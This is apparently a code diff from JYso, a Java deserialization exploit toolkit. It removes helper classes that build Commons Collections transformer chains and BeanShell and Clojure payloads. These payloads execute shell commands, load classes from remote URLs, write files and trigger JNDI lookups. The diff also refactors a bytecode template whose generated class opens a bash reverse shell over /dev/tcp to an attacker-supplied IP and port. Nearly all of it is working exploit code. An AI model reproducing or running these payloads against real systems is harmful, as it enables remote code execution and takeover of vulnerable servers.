transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
}
return transformers;
}
public static String makeClojurePayload(String command) {
if (command.startsWith("TS-"))
return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")";
if (command.startsWith("RC-")) {
String[] strings = handlerCommand(command);
return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)";
}
if (command.startsWith("WF-")) {
String[] strings = handlerCommand(command);
return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)";
}
String cmd = join(java.util.Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\"");
return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd);
}
public static com.qi4l.JYso.gadgets.utils.jre.TCObject makeProxy(Class<?>[] interfaces, com.qi4l.JYso.gadgets.utils.jre.TCObject handler, com.qi4l.JYso.gadgets.utils.jre.Serialization ser) throws Exception {
return doMakeProxy(interfaces, handler, ser);
}
private static com.qi4l.JYso.gadgets.utils.jre.TCObject doMakeProxy(Class<?>[] interfaces, Object handler, com.qi4l.JYso.gadgets.utils.jre.Serialization ser) throws Exception {
com.qi4l.JYso.gadgets.utils.jre.TCObject proxy = new com.qi4l.JYso.gadgets.utils.jre.TCObject(ser);
com.qi4l.JYso.gadgets.utils.jre.TCProxyClassDesc proxyDesc = new com.qi4l.JYso.gadgets.utils.jre.TCProxyClassDesc();
for (Class<?> intf : interfaces)
proxyDesc.addInterface(intf);
com.qi4l.JYso.gadgets.utils.jre.TCClassDesc desc = new com.qi4l.JYso.gadgets.utils.jre.TCClassDesc("java.lang.reflect.Proxy");
desc.addField(new com.qi4l.JYso.gadgets.utils.jre.TCClassDesc.Field("h", java.lang.reflect.InvocationHandler.class));
proxy.addClassDescData(proxyDesc, new com.qi4l.JYso.gadgets.utils.jre.TCObject.ObjectData());
proxy.addClassDescData(desc, (new com.qi4l.JYso.gadgets.utils.jre.TCObject.ObjectData()).addData(handler));
return proxy;
}
}
@@ -1,27 +0,0 @@
package com.qi4l.JYso.gadgets.utils.beanshell;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.Utils;
import java.util.Arrays;
public class BeanShellUtil {
public static String makeBeanShellPayload(String command) {
if (command.startsWith("TS-"))
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);";
if (command.startsWith("RC-")) {
String[] strings = Utils.handlerCommand(command);
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();";
}
if (command.startsWith("WF-")) {
String[] strings = Utils.handlerCommand(command);
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());";
}
return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" +
StringUtil.join(
Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
}
}
@@ -1,76 +0,0 @@
package com.qi4l.JYso.gadgets.utils.cc;
import com.qi4l.JYso.gadgets.utils.Utils;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.script.ScriptEngineManager;
import java.io.FileOutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
public class TransformerUtil {
public static Transformer[] makeTransformer(String command) throws Exception {
Transformer[] transformers;
String[] execArgs = {command};
if (command.startsWith("TS-")) {
transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),};
} else if (command.startsWith("RC-")) {
String[] strings = handlerCommand(command);
transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)};
} else if (command.startsWith("WF-")) {
String[] strings = handlerCommand(command);
transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)};
} else if (command.startsWith("PB-lin")) {
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
} else if (command.startsWith("PB-win")) {
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
} else if (command.startsWith("SE-")) {
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})};
} else if (command.startsWith("DL-")) {
transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)};
} else if (command.startsWith("HL-")) {
transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else if (command.startsWith("BC-")) {
command = command.substring(3);
String bcelBytes;
// BCEL 也支持 LF 扩展功能
if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
} else {
bcelBytes = command;
}
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else if (command.startsWith("JD-")) {
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
} else if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
if (USING_MOZILLA_DEFININGCLASSLOADER) {
// 使用 DefiningClassLoader 加载不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
// NC 中可以使用
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else {
// 使用 ScriptEngineManager JS eval 加载
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})};
}
} else {
transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
}
return transformers;
}
}
@@ -1,25 +0,0 @@
package com.qi4l.JYso.gadgets.utils.clojure;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.Utils;
import java.util.Arrays;
public class ClojureUtil {
public static String makeClojurePayload(String command) {
if (command.startsWith("TS-"))
return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")";
if (command.startsWith("RC-")) {
String[] strings = Utils.handlerCommand(command);
return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)";
}
if (command.startsWith("WF-")) {
String[] strings = Utils.handlerCommand(command);
return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)";
}
String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\"");
return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd);
}
}
@@ -1,22 +0,0 @@
package com.qi4l.JYso.gadgets.utils.jre;
import java.lang.reflect.InvocationHandler;
public class Util {
public static TCObject makeProxy(Class<?>[] interfaces, TCObject handler, Serialization ser) throws Exception {
return doMakeProxy(interfaces, handler, ser);
}
private static TCObject doMakeProxy(Class<?>[] interfaces, Object handler, Serialization ser) throws Exception {
TCObject proxy = new TCObject(ser);
TCProxyClassDesc proxyDesc = new TCProxyClassDesc();
for (Class<?> intf : interfaces)
proxyDesc.addInterface(intf);
TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy");
desc.addField(new TCClassDesc.Field("h", InvocationHandler.class));
proxy.addClassDescData(proxyDesc, new TCObject.ObjectData());
proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler));
return proxy;
}
}
@@ -6,24 +6,22 @@ import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
public class ReverseShellTemplate implements Template {
private String className;
private final String className;
private byte[] bytes;
private final String ip;
private final int port;
public ReverseShellTemplate(String ip, int port) {
this.ip = ip;
this.port = port;
this.className = "Exploit" + Utils.getRandomString();
generate();
}
public ReverseShellTemplate(String ip, String port, String className) {
this(ip, Integer.parseInt(port));
this.ip = ip;
this.port = Integer.parseInt(port);
this.className = className;
generate();
}
@@ -39,44 +37,33 @@ public class ReverseShellTemplate implements Template {
@Override
public void generate() {
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
cw.visit(V1_6, ACC_PUBLIC | ACC_SUPER, className, null,
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null).visitEnd();
cw.visitField(ACC_PRIVATE, "port", "I", null, null).visitEnd();
{
fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null);
fv.visitEnd();
}
{
fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null);
fv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
MethodVisitor mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
Label l3 = new Label();
mv.visitLabel(l3);
mv.visitLineNumber(12, l3);
Label startTry = new Label();
Label endTry = new Label();
Label catchBlock = new Label();
mv.visitTryCatchBlock(startTry, endTry, catchBlock, "java/lang/Exception");
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
Label l4 = new Label();
mv.visitLabel(l4);
mv.visitLineNumber(13, l4);
mv.visitMethodInsn(INVOKESPECIAL,
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet",
"<init>", "()V", false);
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
mv.visitLdcInsn("/");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label l5 = new Label();
mv.visitJumpInsn(IFEQ, l5);
Label l6 = new Label();
mv.visitLabel(l6);
mv.visitLineNumber(14, l6);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals",
"(Ljava/lang/Object;)Z", false);
Label unixBlock = new Label();
mv.visitJumpInsn(IFEQ, unixBlock);
mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
@@ -92,69 +79,42 @@ public class ReverseShellTemplate implements Template {
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
mv.visitLabel(l0);
mv.visitLineNumber(16, l0);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLabel(startTry);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec",
"([Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(POP);
mv.visitLabel(l1);
mv.visitLineNumber(19, l1);
mv.visitJumpInsn(GOTO, l5);
mv.visitLabel(l2);
mv.visitLineNumber(17, l2);
mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"});
mv.visitLabel(endTry);
mv.visitJumpInsn(GOTO, unixBlock);
mv.visitLabel(catchBlock);
mv.visitVarInsn(ASTORE, 2);
Label l7 = new Label();
mv.visitLabel(l7);
mv.visitLineNumber(18, l7);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
mv.visitLabel(l5);
mv.visitLineNumber(22, l5);
mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace",
"()V", false);
mv.visitLabel(unixBlock);
mv.visitInsn(RETURN);
Label l8 = new Label();
mv.visitLabel(l8);
mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2);
mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1);
mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0);
mv.visitMaxs(4, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv = cw.visitMethod(ACC_PUBLIC, "transform",
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(27, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv = cw.visitMethod(ACC_PUBLIC, "transform",
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(32, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
mv.visitMaxs(0, 4);
mv.visitEnd();
}
cw.visitEnd();
bytes = cw.toByteArray();
}
}